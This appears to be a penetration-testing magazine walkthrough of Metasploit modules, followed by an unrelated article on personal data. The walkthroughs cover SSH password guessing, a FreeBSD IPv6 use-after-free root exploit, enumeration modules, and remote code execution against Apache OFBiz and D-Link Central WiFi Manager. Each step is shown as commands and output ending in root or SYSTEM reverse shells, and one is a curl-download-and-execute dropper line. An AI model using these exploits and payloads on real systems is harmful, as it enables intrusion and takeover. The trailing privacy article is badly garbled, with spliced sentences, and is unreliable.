This Module exploits a vulnerability in the FreeBSD kernel IPV6 socket handling. It does this by overwriting the ip6po_pktinfo pointer to achieve the Use After Free vulnerability to gain root privileges. We have tested this on FreeBSD Release 12.1 r354233. Let's see how this m -odule works. As this is a privilege escalation module, we need to get a session with low privileges first. We use the SSH login to get this.

```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
                                      Required Description
                     Current Setting
   Name
                     false
   BLANK_PASSWORDS
                                                Try blank passwords for all users
                                      no
                                                How fast to bruteforce, from 0 to 5
   BRUTEFORCE_SPEED
                                      yes
   DB_ALL_CREDS
                     false
                                                Try each user/password couple stored in t
                                      no
he current database
   DB_ALL_PASS
                     false
                                                Add all passwords in the current database
                                      no
 to the list
                     false
   DB_ALL_USERS
                                                Add all users in the current database to
                                      no
the list
                                                A specific password to authenticate with
   PASSWORD
                                      no
                                                File containing passwords, one per line
   PASS_FILE
                                      no
                                                The target host(s), range CIDR identifier
   RHOSTS
                                      yes
, or hosts file with syntax 'file:<path>'
```

```
, or hosts file with syntax 'file:<path>'
                                                 The target port
    RPORT
                      22
                      false
    STOP_ON_SUCCESS
                                                 Stop guessing when a credential works for
                                       yes
  a host
                                                 The number of concurrent threads (max one
    THREADS
                      1
                                       yes
  per host)
    USERNAME
                                                 A specific username to authenticate as
                                       no
    USERPASS_FILE
                                                 File containing users and passwords separ
                                       no
 ated by space, one pair per line
    USER_AS_PASS
                                                 Try the username as the password for all
                      false
                                       no
 users
    USER_FILE
                                                 File containing usernames, one per line
                                       no
                      false
                                                 Whether to print output for all attempts
    VERBOSE
                                       yes
 msf6 auxiliary(scanner/ssh/ssh_login) >
Set all the required options and execute the module to get a session with LOW privileges on
the target.
 msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.36.162
 rhosts => 192.168.36.162
msf6 auxiliary(scanner/ssh/ssh_login) > set username admin
 username ⇒ admin
 msf6 auxiliary(scanner/ssh/ssh_login) > set password admin
 password ⇒ admin
 msf6 auxiliary(scanner/ssh/ssh_login) > run
 [+] 192.168.36.162:22 - Success: 'admin:admin' 'uid=1001(admin) gid=0(wheel) groups=0(whe
el) FreeBSD FreeBSD-12 12.1-RELEASE FreeBSD 12.1-RELEASE r354233 GENERIC amd64 '
[*] Command shell session 1 opened (192.168.36.132:40687 → 192.168.36.162:22) at 2020-11
 -18 02:08:41 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions
Active sessions
                       Information
                                                             Connection
      Name Type
  Ιd
            shell bsd SSH admin:admin (192.168.36.162:22) 192.168.36.132:40687 → 192.1
68.36.162:22 (192.168.36.162)
Background the current session and load the ip6 setpktopt uaf priv esc module.
 msf6 auxiliary(scanner/ssh/ssh_login) > back
msf6 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
 [*] Using configured payload bsd/x64/shell_reverse_tcp
 msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > show options
Module options (exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc):
             Current Setting Required Description
    Name
   SESSION
                                       The session to run this module on.
                              yes
 Payload options (bsd/x64/shell_reverse_tcp):
           Current Setting Required Description
    Name
           /bin/sh
                                      The command string to execute
    CMD
                           yes
                                      The listen address (an interface may be specified)
   LHOST
                            yes
                                      The listen port
   LPORT 4444
                            yes
```

yes

RHOSTS

The target host(s), range CIDR identifier

Set the required options like session ID, LHOST and check if the target is indeed vulnerable or not.

```
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1
session ⇒ 1
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 192.168.36.132
lhost ⇒ 192.168.36.132
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > check

[!] SESSION may not be compatible with this module.
[*] The target appears to be vulnerable.
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > ■
```

The target is vulnerable. Executing the module should give us a session with root privileges as shown below.

```
msf6 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.36.132:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Using target: FreeBSD 12.1-RELEASE r354233 - allproc offset: 0×1df7648
[*] Writing '/tmp/.QlA6FacaxZ.c' (14162 bytes) ...
[*] Compiling /tmp/.QlA6FacaxZ.c ...
[*] Writing '/tmp/.F4uGn' (218 bytes) ...
[*] Launching exploit (timeout: 30s) ...
[*] uid=0(root) gid=0(wheel) groups=0(wheel)
[+] Success! Executing payload...
[★] Command shell session 2 opened (192.168.36.132:4444 → 192.168.36.162:11276) at 2020-
11-18 02:10:12 -0500
[+] Deleted /tmp/.QlA6FacaxZ.c
[+] Deleted /tmp/.QlA6FacaxZ
[+] Deleted /tmp/.F4uGn
id
uid=0(root) gid=0(wheel) groups=0(wheel)
```

Linux Container Enumeration Module

TARGET: Linux TYPE: Local ANTI-Malware : NA

Linux containers are very popular nowadays. So its high time Metasploit bring a module that enumerates containers on a Linux system. This POST module enumerates the container plat

-form running on the target and and lists all running containers for each platform. The contain -er platforms that can be enumerated by this module are Docker, LXC and RKT. Let's see ho -w this module works. Our target is a Kali system with Docker containers.

```
kali@kali:-$ docker images
REPOSITORY
                            TAG
                                                 IMAGE ID
                                                                      CREATED
                                                                                          SIZE
                                                 dcfebb5a74f2
<none>
                                                                      3 months ago
                                                                                          676MB
                            <none>
                                                                      4 months ago
                                                                                          203MB
centos
                                                 7e6257c9f8d8
                                                                      4 months ago
                                                 a57f73e9dc20
                                                                                          73.9MB
<none>
                            <none>
                                                                      4 months ago
                                                 1fde4dda96a0
                                                                                          113MB
<none>
                            <none>
                                                                      6 months ago
sameersbn/bind
                            9.16.1-20200524
                                                 98a3340b5a05
                                                                                          343MB
ubuntu
                            focal-20200423
                                                 1d622ef86b13
                                                                      7 months ago
                                                                                          73.9MB
reproduce-cve-2019-11043
                                                                     8 months ago
                            latest
                                                 ff421ca528a3
                                                                                          1.63GB
                                                                      9 months ago
ubuntu
                            18.04
                                                 4e5021d210f6
                                                                                          64.2MB
                                                                      10 months ago
sonatype/nexus3
                            3.21.1
                                                 7e6931b4cdf2
                                                                                          640MB
hello-world
                                                                     11 months ago
                            latest
                                                 bf756fb1ae65
                                                                                          13.3kB
solr
                            8.3.0
                                                 17dcf43eea9e
                                                                      12 months ago
                                                                                          823MB
liferay/portal
                            7.2.0-ga1
                                                                     13 months ago
                                                 06cfbeb4cd34
                                                                                          1.01GB
vulhub/thinkphp
                                                                      23 months ago
                            5.0.23
                                                 fb27a6c12de6
                                                                                          409MB
medicean/vulapps
                            s_shiro_1
                                                 be60cf0b7704
                                                                      3 years ago
                                                                                           337MB
kali@kali:~$
```

Let's start three of these containers.

```
kali@kali:~$ docker run dcfebb5a74f2
kali@kali:~$ docker run 7e6257c9f8d8
kali@kali:~$ docker run 7e6931b4cdf2
2020-12-18 08:27:06,190+0000 INFO [FelixStartLevel] *SYSTEM org.sonatype.nexus.pax.logging.NexusLogActivator - start
2020-12-18 08:27:08,839+0000 INFO [FelixStartLevel] *SYSTEM org.sonatype.nexus.features.internal.FeaturesWrapper - Fast
2020-12-18 08:27:13,759+0000 WARN [FelixStartLevel] *SYSTEM uk.org.lidalia.sysoutslf4j.context.SysOutOverSLF4JInitialise
x.logging.slf4j.Slf4jLogger is not known - if it needs access to the standard println methods on the console you will nee
stemPackage
```

Just like any other POST module, we need to have a session on the target before being able to use this module. This can be a session with normal privileges.

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.36.132:4444
[*] Sending stage (976712 bytes) to 192.168.36.134
[*] Meterpreter session 3 opened (192.168.36.132:4444 → 192.168.36.134:38862) at 2020-12-17 02:22:06 -0500

meterpreter > sysinfo
Computer : 192.168.36.134
0S : Debian (Linux 5.4.0-kali3-amd64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: kali @ kali (uid=1000, gid=1000, euid=1000, egid=1000)
```

Background the current meterpreter session and load the /post/linux/gather/enum_containers module as shown below.

Set the session ID and execute the module.

```
msf6 post(linux/gather/enum_containers) > set session 3
session \Rightarrow 3
msf6 post(linux/gather/enum_containers) > run
[+] docker was found on the system!
[+] docker: 3 Running Containers / 15 Total
CONTAINER ID
                     IMAGE
                                                       COMMAND
                                                                                 CREATED
          STATUS
                                        PORTS
                 NAMES
db996531fe2d
                                                       "docker-entrypoint.s.."
                     17dcf43eea9e
                                                                                 About a min
          Up About a minute
                                       8983/tcp
ute ago
                 tender_solomon
                                                       "sh -c ${SONATYPE_DI..."
3fe4642cf0f3
                     7e6931b4cdf2
                                                                                 11 minutes
          Up 11 minutes
                                       8081/tcp
ago
                wonderful_jennings
                     7e6257c9f8d8
                                                       "/bin/bash"
                                                                                 11 minutes
320b974c599a
          Exited (0) 11 minutes ago
ago
                 optimistic_jones
                     dcfebb5a74f2
                                                       "/bin/bash"
                                                                                 11 minutes
70f830faa69d
                charming_shockley
a536fde568ce
                    dcfebb5a74f2
                                                       "/bin/sh -c 'yum ins..."
                                                                                 3 months ag
          Exited (1) 3 months ago
                nifty_northcutt
                                                       "/bin/sh -c 'yum ins..."
7503c2618a55
                     dcfebb5a74f2
                                                                                 3 months ag
          Exited (1) 3 months ago
                elated_rosalind
                     sameersbn/bind:9.16.1-20200524 "/sbin/entrypoint.sh..."
9a4d5e11233c
                                                                                4 months ag
          Up 12 minutes
                                       0.0.0.0:53 \rightarrow 53/\text{tcp}, 0.0.0.0:10000 \rightarrow 10000/\text{tcp}, 0.0.0
.0:53→53/udp
                bind
23206ac3f4ee
                                                       "/bin/sh -c 'rm -rf ..."
                                                                                4 months ag
                    a57f73e9dc20
          Exited (100) 4 months ago
                adoring_driscoll
9e1691946886
                    medicean/vulapps:s_shiro_1 "/usr/local/tomcat/b..."
                                                                                 5 months ag
          Exited (0) 4 months ago
                                       0.0.0.0:80→8080/tcp
                 friendly_hermann
                     vulhub/thinkphp:5.0.23
                                                                                 6 months ag
b9966ca7c1bf
                                                       "docker-php-entrypoi..."
          Exited (255) 5 months ago
                                       0.0.0.0:8080→80/tcp
                5023-rce_web_1
                                       8000/tcp, 8009/tcp, 11311/tcp, 0.0.0.0:8080→8080/t
          Exited (255) 6 months ago
                 epic_fermat
СР
                     liferay/portal:7.2.0-ga1
47f6248466cf
                                                       "/bin/sh -c /usr/loc..."
                                                                                 6 months ag
          Exited (0) 6 months ago
                                       8000/\text{tcp}, 8009/\text{tcp}, 11311/\text{tcp}, 0.0.0.0:8080 \rightarrow 8080/\text{t}
                 happy_noether
СР
                     sonatype/nexus3:3.21.1
                                                                                 6 months ag
47e7d78e79f3
                                                       "sh -c ${SONATYPE_DI..."
          Exited (0) 6 months ago
                                       0.0.0.0:8081→8081/tcp
                 nexus
                     solr:8.3.0
                                                       "docker-entrypoint.s..."
                                                                                 8 months ag
f109af89ac19
          Exited (0) 6 months ago
                                       0.0.0.0:8983→8983/tcp
                 solr_830
a987a03da04f
                     hello-world
                                                       "/hello"
                                                                                 8 months ag
           Exited (0) 8 months ago
[+] Results stored in: /home/kali/.msf4/loot/20201217022306_default_192.168.36.134_host.d
ocker_cont_551894.txt
rost module execution completed
msf6 post(linux/gather/enum_containers) >
```

As can be seen in the above images, the module first identified the container platform as Doc -ker and then enumerated all docker containers present on the system. It also enumerated th -ree running containers we started.

Software Versions Enumeration Module

TYPE: POST

TARGET: Linux, Windows, OSX, Android, Solaris, BSD

POST exploitataion enumeration is one of the most important stages of penetration testing. T -his module is s module which gathers a list of all the software that has been installed on a compromised ta -rget along with its versions and saves the output to file as loot. This allows penetration tester -s to find additional infor -mation about the target that may help in gaining additional privilege -s on the machine, determine outdated software that may be vulnerable an -d needs updating etc.

Let's see how this module works. After getting a meterpreter session on the target, background that session and load the post/multi/gather/enum_software_versions module. Set the session ID and execute the module as shown below.

```
msf6 post(linux/gather/enum_containers) > back
msf6 > use post/multi/gather/enum_software_versions
msf6 post(multi/gather/enum_software_versions) > show options
Module options (post/multi/gather/enum_software_versions):
            Current Setting Required Description
   Name
                                       The session to run this module on.
   SESSION
                             yes
msf6 post(multi/gather/enum_software_versions) > set session 3
session \Rightarrow 3
msf6 post(multi/gather/enum_software_versions) > run
[+] Stored information about the installed products to the loot file at /home/kali/.msf4/
loot/20201217022932_default_192.168.36.134_host.linux.softw_000695.txt
[*] Post module execution completed
msf6 post(multi/gather/enum_software_versions) >
```

This will create a file in the loot directory. All the information about the software installed alon -g with their versions are in this file.

```
kali@kali:~$ cat /home/kali/.msf4/loot/20201217022932_default_192.168.36.134_host.linux.s
oftw_000695.txt

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Listing...
acl/now 2.2.53-5 amd64 [installed,upgradable to: 2.2.53-8]
adduser/kali-rolling,now 3.118 all [installed]
adwaita-icon-theme/now 3.34.0-2 all [installed,upgradable to: 3.36.1-2]
alsa-topology-conf/now 1:1.5.2-3+b1 amd64 [installed,upgradable to: 1:1.6-4]
alsa-topology-conf/now 1.2.1-2 all [installed,upgradable to: 1.2.2-1]
alsa-ucm-conf/now 1.2.1.2-2 all [installed,upgradable to: 3.8.0-0kali1]
amass/now 3.3.1-0kali1 amd64 [installed,upgradable to: 3.8.0-0kali1]
apache2-bin/now 2.4.41-2 amd64 [installed,upgradable to: 2.4.43-1]
apache2-data/now 2.4.41-2 all [installed,upgradable to: 2.4.43-1]
apache2-utils/now 2.4.41-2 amd64 [installed,upgradable to: 2.4.43-1]
```

Now let's run this module on a windows 10 machine which is our regular target machine.

```
[*] Meterpreter session 2 opened (192.168.36.132:4466 → 192.168.36.129:50086) at 2020-12
-19 03:23:47 -0500

meterpreter > sysinfo
Computer : DESKTOP-U061SVS
OS : Windows 10 (10.0 Build 17134).
Architecture : x86
```

```
msf6 > use post/multi/gather/enum_software_versions
msf6 post(multi/gather/enum_software_versions) > set session 2
session ⇒ 2
msf6 post(multi/gather/enum_software_versions) > exploit

[+] Stored information about the installed products to the loot file at /home/kali/.msf4/loot/20201219032849_default_192.168.36.129_host.windows.sof_434378.txt
[*] Post module execution completed
msf6 post(multi/gather/enum_software_versions) > ■
```

<pre>kali@kali:~\$ cat /home/kali/.msf4/loot/20201219032849_default_192.168.36.129_host.windows .sof_434378.txt</pre>			
Description	Version	InstallDate	Name
FTPShell Client 6 ent 6 Microsoft SQL Server 2012 Express LocalDB L Server 2012 Express LocalDB CrossChex Standard andard	6.1.0	20181107	FTPShell Cli
	11.0.2318.0	20200628	Microsoft SQ
		20200403	CrossChex St
UpdateAssistant	1.1.0.0	20200225	UpdateAssist
microsoft Visual C++ 2019 X86 Minimum Runtime - 14. sual C++ 2019 X86 Minimum Runtime - 14.20.27508	1.24.0.0 .20.27508 14.20.27508	20200628	Microsoft Vi
Microsoft SQL Server 2012 Native Client L Server 2012 Native Client	11.0.2100.0	20200628	Microsoft SQ
VMware Tools	11.0.6.159	20200628	VMware Tools
IIS 8.0 Express ess Microsoft Visual C++ 2008 Redistributable - x86 9.0 sual C++ 2008 Redistributable - x86 9.0.30729.6161 LibreOffice 6.2.4.1 6.2.4.1	8.0.1557	20200628	IIS 8.0 Expr
	.30729.6161		Microsoft Vi
		20200108	LibreOffice
Microsoft Visual C++ 2019 X86 Additional Runtime - sual C++ 2019 X86 Additional Runtime - 14.20.27508	14.20.27508		Microsoft Vi
Xshell 6	6.0.0197	20200823	Xshell 6
Stopping Plex	1.18.2309	20200926	Stopping Ple
Kentico 12.0		20200628	Kentico 12.0
Zahir Enterprise 6 Build 6 Demo Version	12.0.7115.1	20190324	Zahir Enterp
rise 6 Build 6 Demo Version osrss	6.0.0.6	20180624	osrss
Microsoft Visual C++ 2012 x86 Additional Runtime -		20200823	Microsoft Vi
sual C++ 2012 x86 Additional Runtime - 11.0.61030 11.0.61030 Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 20170			Microsoft Vi
sual C++ 2008 Redistributable - x86 9.0.30729.4148 Microsoft Visual C++ 2008 Redistributable - x86 9.0	0.30729.17		Microsoft Vi
sual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Visual C++ 2012 x86 Minimum Runtime - 11	.0.61030	20200823	Microsoft Vi
sual C++ 2012 x86 Minimum Runtime - 11.0.61030 Plex Media Server	11.0.61030	20200926	Plex Media S
Update for Windows 10 (KB4480730)	1.18.2309	20200628	Update for W
indows 10 (KB4480730) kali@kali:~\$	2.53.0.0		

As you can see in the above images, it not only enumerated the software installed on the tar -get windows system but also its versions.

Apache OfBiz XML-RPC Java Deserialization Module

TARGET: Apache OFBiz < 17.12.04 TYPE: Remote ANTI-Malware : OFF

Apache OFBiz is an open source ERP (Enterprise Resource Planning) software that provides a common data model and a set of business processes like accounting, asset maintenance, project management etc. The above mentioned versions have an unauthenticated Java descrialization vulnerability in the XML-RPC endpoint (/webtools/control/xmlrpc) which can be exploited to achieve remote code execution. Let's set the target first as docker.

```
kali@kali:~ docker pull opensourceknight/ofbiz
Using default tag: latest
latest: Pulling from opensourceknight/ofbiz
51f5c6a04d83: Downloading [=========>
                                                                      16.23MB/51.36MB
a3ed95caeb02: Download complete
10.58MB/18.53MB
5f37c8a7cfbd: Downloading [===========>
                                                                       16.25MB/42.49MB
fb6908934faf: Waiting
9c531a67af6d: Waiting
3c7a0bc3de6e: Waiting
1dbf971ee045: Waiting
5136e96bff7d: Waiting
a5c10b475d40: Waiting
331fee8b7759: Waiting
9b3aa6f5e2ae: Waiting
067ee56fde33: Waiting
52af5c6ef134: Waiting
```

After the target is set, let's see how this module works. Load the apache_ofbiz_desrialization module.

```
msf6 > use exploit/linux/http/apache_ofbiz_deserialiation
Using configured payload linux/x64/meterpreter_reverse_https
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > show options
Module options (exploit/linux/http/apache_ofbiz_deserialiation):
             Current Setting Required Description
                                        A proxy chain of format type:host:port[,type:host:port]
   Proxies
                              no
[ ... ]
                                        The target host(s), range CIDR identifier, or hosts fil
   RHOSTS
                              yes
e with syntax 'file:<path>'
                                        The target port (TCP)
  RPORT
             8443
                              yes
                                        Negotiate SSL/TLS for outgoing connections
   SSL
              true
                              no
                                         Path to a custom SSL certificate (default is randomly g
   SSLCert
                              no
enerated)
  TARGETURI /
                                        Base path
                              yes
                                        The URI to use for this exploit (default is random)
  URIPATH
                               no
  VHOST
                                        HTTP server virtual host
                              no
Payload options (linux/x64/meterpreter_reverse_https):
          Current Setting Required Description
   Name
                                    The local listener hostname
   LHOST
                           yes
                          yes
                                    The local listener port
   LPORT 8443
                                     The HTTP Path
   LURI
                           no
Exploit target:
   Ιd
      Name
       Linux Dropper
```

```
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set rhosts 172.17.0.2
rhosts ⇒ 172.17.0.2
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set lhost 172.17.0.1
lhost ⇒ 172.17.0.1
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set rport 8443
rport ⇒ 8443
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > set srvport 8888
srvport ⇒ 8888
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > check
[+] 172.17.0.2:8443 - The target is vulnerable. Target can deserialize arbitrary data.
msf6 exploit(linux/http/apache_ofbiz_deserialiation) >
The target is vulnerable. Execute the module now.
msf6 exploit(linux/http/apache_ofbiz_deserialiation) > run
[*] Started HTTPS reverse handler on https://172.17.0.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://0.0.0.0:8888/dZh39mBKJ5N
[*] Local IP: http://192.168.36.134:8888/dZh39mBKJ5N
[+] Successfully executed command: sh -c curl${IFS}-so${IFS}/tmp/gmsLRXPT${IFS}http://172.17.0.1
 :8888/dZh39mBKJ5N;chmod${IFS}+x${IFS}/tmp/gmsLRXPT;/tmp/gmsLRXPT;rm${IFS}-f${IFS}/tmp/gmsLRXPT
[*] Command Stager progress - 104.03% done (155/149 bytes)
[*] Client 172.17.0.2 (curl/7.38.0) requested /dZh39mBKJ5N
[*] Sending payload to 172.17.0.2 (curl/7.38.0)
https://172.17.0.1:8443 handling request from 172.17.0.2; (UUID: fcal05t4) Redirecting stage
less connection from /83wWfdcFHkCinqSc_UPxtQlw1sCcT with UA 'Mozilla/5.0 (Windows NT 6.1; Triden
t/7.0; rv:11.0) like Gecko'
[*] https://172.17.0.1:8443 handling request from 172.17.0.2; (UUID: fcal05t4) Redirecting stage
LhvNrciXXJios-MvHp87XkPT4gtSazOrDrii with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0)
 like Gecko'
[*] https://172.17.0.1:8443 handling request from 172.17.0.2; (UUID: fcal05t4) Redirecting stage
less connection from /83wWfdcFHkCinqSc_UPxtQfyKNP3Ilr2q4Xao0×1wC5oJTNOvljuiswiw_jzqCa520FF7GDREG
cEXEBdQfm3v7wy with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://172.17.0.1:8443 handling request from 172.17.0.2; (UUID: fcal05t4) Attaching orphane
d/stageless session...
[*] Meterpreter session 1 opened (172.17.0.1:8443 \rightarrow 172.17.0.2:33678) at 2020-12-18 20:11:07 -0
500
[*] Server stopped.
meterpreter > sysinfo
Computer
            : 172.17.0.2
             : Debian 8.4 (Linux 5.4.0-kali3-amd64)
08
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root @ 58de064dd803 (uid=0, gid=0, euid=0, egid=0)
meterpreter >
```

Set all the required options and check if the target is vulnerable or not.

This should give us a successful meterpreter session as shown in the above image.


D - Link Central WiFi Manager RCE Module


TYPE: Remote


TARGET: D-Link Central Wifi Manager v 1.03 For Windows
ANTI-Malware: OFF


D-Link Central Wi-Fi Manager is a web-based wireless access point management tool which enables users to create and manage multiple wireless networks. The above mentioned version has a PHP code injection vulnerability which is possible because a user controlled cookie

is passed to the eval () function without sanitization. As this software runs with elevated privil -eges, anyone exploiting this vulnerability will gain a shell with SYSTEM privileges. The down -load information of this vulnerable software is given in our Github repository. We have tested this on a windows 7 machine. While installing the vulnerable software on the target, we pas -s through the following stages.












You may need to install Visual C++ software as shown below.



After the installation is finished, start the Central Wifi Manager from the program list.



Now you can access the web interface on the localhost IP address. We do not need to login as this exploit module does not need any credentials.



The target is set. Now, load the dlink_central_wifimanager_rce module.

```
msf6 > use windows/http/dlink_central_wifimanager_rce
Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(windows/http/dlink_central_wifimanager_rce) > show options
Module options (exploit/windows/http/dlink_central_wifimanager_rce):
              Current Setting Required Description
   Name
  Proxies
                                         A proxy chain of format type:host:port[,type:hos
                               no
t:port][ ... ]
                                         The target host(s), range CIDR identifier, or ho
  RHOSTS
                               yes
sts file with syntax 'file:<path>'
  RPORT
                                         The target port (TCP)
              443
                               yes
                                         Negotiate SSL/TLS for outgoing connections
  SSL
              true
                               no
                                         The base path to to the web application
  TARGETURI /
                               yes
                                         HTTP server virtual host
  VHOST
                               no
Payload options (php/meterpreter/reverse_tcp):
         Current Setting Required Description
  Name
                                    The listen address (an interface may be specified)
  LHOST
                          yes
                                    The listen port
  LPORT 4444
                          yes
Exploit target:
  Ιd
      Name
      Automatic
   Ø
msf6 exploit(windows/http/dlink_central_wifimanager_rce) >
```

Set all the required options and check if the target is vulnerable or not. msf6 exploit(windows/http/dlink_central_wifimanager_rce) > set rhosts 192.168.36.135 rhosts ⇒ 192.168.36.135 msf6 exploit(windows/http/dlink_central_wifimanager_rce) > check [+] 192.168.36.135:443 - The target is vulnerable. msf6 exploit(windows/http/dlink_central_wifimanager_rce) > set lhost 192.168.36.132 lhost ⇒ 192.168.36.132 The target is vulnerable. Execute the module now. msf6 exploit(windows/http/dlink_central_wifimanager_rce) > run [*] Started reverse TCP handler on 192.168.36.132:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target is vulnerable. [*] Sending stage (39282 bytes) to 192.168.36.135 [★] Meterpreter session 1 opened (192.168.36.132:4444 → 192.168.36.135:49553) at 2020-12 -21 20:13:29 -0500 [*] Sending stage (39282 bytes) to 192.168.36.135

```
[*] 192.168.36.135 - Meterpreter session 2 closed. Reason: Died
[*] Meterpreter session 2 opened (192.168.36.132:4444 \rightarrow 127.0.0.1) at 2020-12-21 20:13:2
9 -0500
[-] Invalid session identifier: 2
msf6 exploit(windows/http/dlink_central_wifimanager_rce) >
msf6 exploit(windows/http/dlink_central_wifimanager_rce) > sessions
Active sessions
  Id Name Type
                                     Information
                                                                    Connection
            meterpreter php/windows SYSTEM (0) @ WIN-DHH9GH6L5SP 192.168.36.132:4444 →
 192.168.36.135:49553 (192.168.36.135)
msf6 exploit(windows/http/dlink_central_wifimanager_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer
            : WIN-DHH9GH6L5SP
            : Windows NT WIN-DHH9GH6L5SP 6.1 build 7601 (Windows 7 Home Basic Edition Ser
vice Pack 1) i586
Meterpreter : php/windows
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter >
```

As you can see in the above image, we successfully have a meterpreter session with system privileges.

All your doubts, queries and questions related to ethical hacking and penetration testing can be mailed to editor@hackercoolmagazine.com or you can get to us at our Facebook Page

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Your Personal Data Is The Currency Of The Digital Age

ONLINE SECURITY

Guillaume Desjardins Associate professor, Industrial Relations, Université du Québec en Outaouais (UQO)

My research has led me to propose a new mo -del for generic management of this new industry and to look at the consequences that user -s face.

The commodification of the internet in the earl fundamental break with those typically taught -y 1990s brought western societies into the di- in business schools. Whereas the industrial agital age and has changed the way consumer ge placed capital (and mainly money) at the c -s interact with commercial enterprises.

The new business models propose a -entre of all transactions, the digital age favou

The digital industry companies have one -rs information as a source of liquidity. thing in common: the use of the user's person -al data through technology to gain competitiv in a commercial transaction is particularly sali e advantage.

This disruption of the medium of exchange -ent in certain industri Readers of a certain age will surely -es. Readers of a

Spotify, Amazon,e Bay, Apple, Google remember printed maps. To get updates Play: these corpora-such as street name changes, you had a level of product and service customization never seen before. updated in real time for free. The digital Spotify's algorithm, for example, offers you artists and playlists based on your age, gender, location -ity updated in real time for free.

certain age will sur -ely remember prin tions have reached to buy a new map. Google, for example, -ted maps. To get updates such as street offers its users GPS functionality name changes, you had to buy a new industry companies have one thing in map. Google, for e common. -xample, offers its users GPS functional

and listening history. Management researchers are interested in these new forms of commerce for two main re product or service. This is particularly true in -asons: they mark a break with conventional

business models and tend to do better during

crises.

A Personalized Experience

New business models

Some firms use dual monetization in their the mobile gaming industry. For example, som -e games use a freemium approach based on monetizing user data and then inserting paid elements. In short, the best of both worlds!

Recent research from the Massachusetts Insti -19 pandemic, digital firms had an average ret -d access to free offers and trials. -urn on investment of 10 per cent, while traditi -onal firms were still negative at -14 per cent restaurant on Google Maps, you hope to get in August. The authors' conclusion is unequiv- results based on your location, and when you hing.

This type of model is not bad in itself and -tute of Technology indicates that in June 202 even has advantages for the consumer, includ -0, at the height of the first wave of the COVId -ing the personalization of their experience an

For example, when you search for a

ocal: 21st century organizations must adopt th shop online, products are suggested based -ese new business models at the risk of peris- on your purchase history. The Customer Is The Product

However, this business model is not without These benefits to the consumer can also back risk for the consumer. I have been writing abo -fire. Several researchers note an increase in -ut this phenomenon for a little over five years the complexity of the customer relationship.

Studies have shown that the overload of information available in the Canadian telecommun -ications industry can be used as strategic lev -erage by the seller.

For example, a user may be required to and birthday — in order to view the site's cont -tten in jargon. Most people simply click on "I

-ent. Other sites will deny access to conte- "Firms that collect consumer's nt if the user has personal information must first blocked cookies or trackers for advertising. obtain their consent. These

Consumers also consent forms are very long and authorizes the firm ve the right to have the right to written in jargon. Most peoplen your device. Sites wonder if they are For example, Google uses simply click on "I Agree".

AdSense to collect the personal data of their users in order to monetize them to third partie -s, generally for advertising purposes. Similarl -y, Google benefits from offering services at no cost, because the more consumers use its -t them.

It is in Amazon's best interest to encourage us to browse its site — even if we don't buy anything. The history of items viewed, keywor this information on a discussion forum? -ds used or time spent on a page can all be monetized.

The market for targeted online advertising advertising generated revenues of US\$88 billion in the United States alone in that year.

Reducing Your Digital Footprint

age! Indeed, it is rare that an individual is not part of any social network, does not have a ce -II phone or does not use the web on a daily basis. What's more, the erosion of privacy ha- -al cases of recent leaks show us that this is s been so gradual that most people are not a- not always the case. ware of the amount of information they reveal every day. Nevertheless, solutions exist to reduce one's digital footprint.

Before entering their data, consumers may ask themselves if they really need the product -mended that you change your password and

or service, even if it is free. Is it really essentia -I, for example, to create an account to consul -t a document or view an image on a site to w -hich you will never return?

Firms that collect consumers' personal create a Pinterest account — recording perso information must first obtain their consent. Th--nal information such as name, email address ese consent forms are often very long and wri

> agree" without wor -rying about the implications.

In extreme cases, this simple gesture like Terms of Serv -ice; Didn't Read

provides an overview of user agreements and identified the elements that could have a nega -tive impact on the user.

All Requested Information?

When the consumer creates an account, services, the more information it collects abou they must also question the relevance of givin -g all the information requested. Although it is important to indicate an actual birth date on a credit application, is it really necessary to give

It is also important to avoid using the same username (often email) and password for diffe -rent accounts. Some firms use modules to co is very lucrative. According to the annual Inter -llect data that link several services. Even if in -active Advertising Bureau 2017 report, online formation is missing from one of the accounts, the module can cross-reference that account with those registered with other providers. In addition, if there is a data leak, it becomes ea-It's hard to be totally invisible in the digital sy for fraudsters to test the email and passwor d combination on different platforms.

> The provider promises to secure the personal data of its user. Unfortunately, sever

